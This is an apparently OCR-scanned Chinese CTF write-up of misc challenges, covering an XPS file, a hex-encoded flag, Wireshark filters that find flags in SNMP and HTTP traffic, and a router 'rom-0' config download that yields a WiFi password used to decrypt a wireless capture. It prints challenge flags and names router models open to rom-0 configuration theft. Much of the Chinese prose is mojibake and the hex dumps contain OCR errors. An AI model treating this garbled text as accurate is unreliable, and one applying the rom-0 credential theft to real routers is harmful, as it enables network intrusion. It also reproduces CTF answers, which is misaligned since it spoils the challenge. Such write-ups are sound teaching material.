iFdoc, docx, ppt, pptx, Xls, xxs¥&HZJE, EFxps:

XPSIZTUSS [+ 5

D dum b5 |27

XPS XML Paper Specification (XMLIZPEHIRET5) BIREFR, R—fE 7Rl EEMTAT LN —fMEfikFsE
BRI PLETHA 2 0S At Metro™. XA FITL A SR TR L A s . AR, Bon U A EEXPS SR ATE R AT .
XPS J&—Fpf I A [E E 0 T AR L, ATRLRAF iR o, T H R AR E L= hae B AR M A wliEZ R BTk AT
LIS BT B iz S0 fF, AR fiAdobe PDFE SUHAI 3 . FEZELRIS AT E) XPS #yemt, slbhag (N fRAg UL a8 —

FE, M B EERELER 5 E R

i XPSH A @
] XML Paper Specification kA
b S XML LA ELRS TERARS

FRECAxps X EBIAT, KixpsiRAL .

Misc3-H BRI A iE#

B E— I, BRERMEREL, KBS BT,

{FLAG:011938d495c36aeab4bfbd897c240d31}

Misc4-i# A K& &

HLF A A
P2yl

Metro

X R F AR AR — BB S D (IR 225 — it filgetilag) , IS B 454 M 8K 44 T LAKE FLHREN HH 5K«



# KRBT AE, TS ES =B SEE 3+ B =N EIEE SR 163
P 61677b6368

B ==> OX666C

m74756e65

m ==> 0x3170

88337665727¢C
Bk ==> Ox5f35

#iE AT
666C61677b6368317074756€655F35337665727C
#A] AR

flag{chlptune_53ver|
#R3Zchiptune_53verB al

Misc5-## Bt () SCHF 4 (R )

LGB binwalk G B — AN 8, B, REH.

P 2% i W23 BT
P 25 B 43 AT 1 -2 4 B A i R~



wiresharkfT FF$4E B /5, KU AR g 38 M-

http contains flag
tcp contains flag
udp contains flag

BiA[@itudp contains flagZZlflag.

M flag.pcapng - X

XHHE BEE MEY BEG BmRO SHA) FIHO =EY BEW TED FEH)

A m ® RE Q&= = QQarmE

(M]udp contains flagl BWED -] ®AS- |+

Ho. Tine Seurce Destination Protocol Length Info

| 3588 216—86%?5 13:09:51.455121 115.28.102.80 172.16.161.145 SNMP 156 get-response 1.3.6.1.2.1.1.6.0
3680 2016-06-0% 13:09:54,295029 115.28.102.80 172.16.161.145 SNMP 156 get-response 1.3.6.1.2.1.1.6.0
4007 2016-06-05\13:10:11.957690 115.28.102.80 172.16.161.145 SNMP 157 get-response 1.3.6.1.2.1.1.6.0

\
Frame 3588: 156 bytes on wire (1248 bits), 156 Yoytes captured (1248 bits) on interface @
Ethernet II, Src: vmware_fa:39:cb (@0:50:56:fa:3Q:cb), Dst: Vmware 73:67:af (0@:0c:29:73:67:af)
Internet Protocol Version 4, Src: 115.28.102.80, t: 172.16.161.145

User Datagram Protocol, Src Port: 161, Dst Port: 63703
Simple Network Management Protocol

\
06 70 75 62 6C 69 63 a2 63 02 01 06 02 @1 08 02 ublic: ¢ "
01 00 30 58 30 56 06 @8 2b 06 01 02 01 @1 06 00 XeV: - +

04 4a 55 6e 6b 6e 6f 77 6e 20 28 65 64 69 74 20 JUgknow n (edit

2f 65 74 63 2f 73 6e 6d 70 2f 73 6e 6d 70 64 2 [fetdfsnm p/snmpd.

63 6 6e 66 2f 66 6c 61 67 7b 36 37 37 31 34 39 conf/fla g{07714%

61 36 38 62 39 64 34 66 32 35 66 35 32 62 62 31  a68bodaf 25f52bb1

31 35 33 30 66 34 34 30 32 38 7d 29 1530f440 28}) v

@ 7 flag.pcamng S4H: 4306 - E2ET: 3 (0.1%) Profile: Default

P4 2% Bl 0 2 At 2-108 R R (R A )

L PIEF IR KRB R GBIRE — LB f, FEHEMEEtepflowiX M8 B HE tcpBil, ABRIEE.

P 2% B W53 #r 3-thief

EIHWAITHERAKT 2 #RL802.11 wlanBFEE, F3— FhitpidK:

M thief.cap - X
MHE REE MEN) G MO SR F5TS) mEY FTmw) IR0 )
AEZ® RE Q&= QaafFE
(M httn B -] ®pE- |+
Ho. Time Source Destination Protocol Length Info
| 1284 2016-01-30 20:59:21.347712 192.168.43.61 46.4.232.88 HTTP 186 GET /rom-0 HTTP/1.1
6032 2016-01-30 21:00:45.871466 192.168.1.4 173.194.112.168 HTTP 240 GET /generateg@a HTTP/1.1
6208 2016-01-30 21:00:53.184356 192.168.1.4 74.125.136.138 HTTP 265 GET /generate 204 HTTP/1.1
6528 2016-01-30 21:01:03.832543 192.168.1.4 104.16.118.182 HTTP 862 GET /search?q:air‘cr‘a(k HTTP/1.1
6555 2016-01-30 21:01:05.044576 192.168.1.4 95.172.94.57 HTTP 744 GET /pixel;r=505560555;a=p-c1rFal
6567 2016-01-30 21:01:05.366626 192.168.1.4 74.125.136.102 HTTP 1006 GET /7utm.gif?utmwv:5.6.7&utms:5
6570 2016-01-30 21:01:05.405540 192.168.1.4 104.16.118.182 HTTP 886 GET /topbar/get-unread-counts? =1
6609 2016-01-30 21:01:05.938019 192.168.1.4 173.194.112.51 HTTP 763 GET /uds/css/small-logo.png HTTP/|
6616 2016-01-30 21:01:06.135716 192.168.1.4 74.125.136.102 HTTP 682 GET /generate 204 HTTP/1.1
6764 2016-01-38 21:01:07.583714 192.168.1.4 173.194.112.51 HTTP 763 GET /uds/css/small-logo.png HTTP/|
7330 2016-01-30 21:01:17.339492 192.168.1.4 74.125.136.113 HTTP 240 GET /generate 204 HTTP/1.1
7656 2016-01-30 21:01:23.415274 192.168.1.4 74.125.136.102 HTTP 240 GET /generate 204 HTTP/1.1
7762 2016-01-30 21:01:24.677420 192.168.1.4 74.125.136.138 HTTP 265 GET /generate 204 HTTP/1.1
7794 2016-01-30 21:01:28.247340 192.168.1.4 74.125.136.113 HTTP 240 GET /generate 204 HTTP/1.1
7950 2016-01-30 21:01:37.379937 192.168.1.4 213.186.33.2 HTTP 579 GET /resources/favicon.ico HTTP/1
8130 2016-01-30 21:01:48.152101 192.168.1.4 104.20.64.56 HTTP 952 POST /post.php HTTP/1.1

ik

. 3 [TCP ACKed u
8230 2016-01-30 21:01:51.023077 192.168.1.4 204.11.109.68 HTTP 453 GET /real/tags/Past
8254 2016-01-30 21:01:51.262160 192.168.1.4 74.125.136.102 HTTP 773 GET /collect?v=1&_v=]408&a=1583904




< >

> Frame 1284: 186 bytes on wire (1488 bits), 186 bytes captured (1488 bits)

> IEEE 802.11 Data, Flags: ....... T

> Logical-Link Control

> Internet Protocol Version 4, Src: 192.168.43.61, Dst: 46.4.232.88

> Transmission Control Protocol, Src Port: 4919e, Dst Port: 8o, Seq: 1, Ack: 1, Len: 114
>

0000 @8 @1 34 00 38 aa 3¢ 32 46 60 00 do ¢3 44 a2 1d
2010 38 aa 3c 32 46 60 be 36 aa aa 03 00 00 00 08 00
0020 45 0@ 00 9a 8f 14 40 @@ 40 66 a9 07 c@ a8 2b 3d
@030 2e @4 e8 58 bf cc @@ 50 78 bd 61 7e 4c aa c2 29
2040 50 18 @0 1d d9 3d ee @@ 47 45 54 20 2f 72 6f 6d
2050 2d 30 20 48 54 54 50 2f 31 2e 31 od Ba 55 73 65 -0 HTTP/ 1.1--Use
0060 72 2d 41 67 65 6e 74 3a 208 57 67 65 74 2f 31 2e r-Agent: lWget/1.

v

O 7 thief. cap || #8: g5 - BEF: 21 (0.2 || Profile: Default

A LAURIE —MERKIZ/ rom-0, BEAFAMRIEFXNRKE, googleR—T:

How to download rom-0 How to Crack Modem Hacking Router With >
file from Supernet Admin Page - rom-0 Rom-0

Infocomm modem - configuration file ...

RomFile ...

computerwurld RoboMech Sulawesi |. T Security

YouTube - 201856 522H YouTube - 2017512821H YouTube - 20165E7TB11H
rom-0 test

rom-0.cz/ ~ EFEHT

This page sends HTTP HEAD request for /rom-0 to the |P address set below and it tries several TCP
ports_ In case the address replies the offered file is tested for

BRPFE: wien

MIWIFi — &k

www1.miwifi.com/miwifi_download.html ~

BRI - REERN P ROM. AIKEEBBEEFERE. PCEFR. T MacZrPis .. PCERER. A
SO0 (3F2TEES) i ANUOME R AT T 755 (9517

RouterPWN - Rom-0 Configuration Decompressor
www.routerpwn.com/zynos/ ¥ EBEIbH

Vulnerable devices. AirLive WT-2000ARM. D-Link DSL-2640R. Huawei 520 HG. Huawei 530 TRA
Pentagram Cerberus P 6331-42. TP-Link TD-8816. TP-Link ...

BROFIE: wian

Project Zero: Over The Air: Exploiting Broadcom's Wi-Fi Stack (Part 1)
https://googleprojectzero.blogspot.com/.../over-air-exploiting-broadcoms-wi... ~ BlFEIhE
20174848 - We'll focus on Broadcom's Wi-Fi SoGs since they are the most common - One way to
extract the ROM would be to use the host driver's chip ..

WiFi Mac address changed after flashing ROMs - OnePlus Community ...
https://forums.oneplus.com/.../wifi-mac-address-changed-after-flashing-roms... v &HZIhR
2016511521 - But after flashing roms, it changed sometimes. it with text editor you can see four
lines of MAC address, but with the “No Wi-Fi with 02:00:00

R itrouterPwnZ B2 — M Erom-03 A HI M bE, REATRARBGR—AfF. HTRIEL T Hhttoxt R, BATATUSE]
— A rom03Cf, IEHFREHEES B LT WA

5 WU R P SR AR 1) 25 e
Rome4040

TP-LINK

public

public

public

public

#£12 Fwireshark 3 it B K R H RNEH T EMAB AL RNRTERBERE, HARREDT TR 58 T URE#
75 e

M Wireshark - ZiEm ? X
1B ~| IEEE 802.11 wireless LAR
:E?FI;) Reassemble fragmented 802.11 datagrams
[]1gnere vendor-specific HT elements
ICMP M WEP and WPA Decryption Keys ? X

ICP [ call subdissector for retransmitted



https://blog.csdn.net/neal_hddnwpu/article/details/82586235?utm_source=blogxgwz2

1cQ [] 4ssume packets have FCS Key type Key
IEEE 802.11 [v] Validate the FCS checksum if possih wpa-pwd Rome4040
IEEE 802.15.4 Iznore the Protection bit
IEEE 802.1AH @ To
iFCP () Yes - without IV
ILP () Yes - with IV
:mip WP4 Eey MIC Length override [0
INAP Enable decryptien
Infiniband SD Decryption keys Edit--
Interlink
IPDC
IPDR/SP v
< >
+ = m oA v [B Col|Usars |HP|AppData| - -Fireshark|80211 ke

FELRome4040 S N RS, W LLAKILRIAEIL TR £ httpMltcpii 8, RIEEE R RAEHEEhttp contains
CcTF{3Zlflag:

M Wireshark - i2% HTTP & (tcp.stream eq 36) - thief.cap - O X

GET /collect?v=1& v=7408a=1583904745&t=pageviewd s=1&d1=http%3A%2F¥%2Fpastebin.com%2FHKKhaaF6&ul=en-
us&de:UTF—8&dt$sharifCTF%?Bbee2d2a396482969e39d92b6e440f5e3%7D%20—%zePastebin.cbm&sd:BZ—
bit&sr=360x640&vp=360x592&je=1& u=ACCAgEQ~&]jid=950215741&cid=899094573.1454153414&tid=UA-58643-34&7=1248163907 HTTP/1.1
Host: www.google-analytics.com

Connection: keep-alive

Accept: image/webp,*/*;q=0.8

User-Agent: Mozilla/5.@ (Linux; Android 4.4.2; en-us; SAMSUNG SM-N9@@ Build/KOT49H) AppleWebKit/537.36 (KHTML, like
Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36

Referer: http://pastebin.com/HKKhaaFé

Accept-Encoding: gzip,deflate,sdch

Accept-Language: en-US,en;g=0.8

A 8254 1 EOR HE 0 BHEE HE 0 v ls) TR

Entire conversation (631 bytes) - Bi0RTEEIE S |ASCII -
T | | [EHT 4w
Pt Al iTER Save as" B Close Help

?wandoucup-CTF-WP 2 b 45 7 .

Publish by Yof3ng?.

¥, T https://www.cnblogs.com/yof3ng/p/9870270.html
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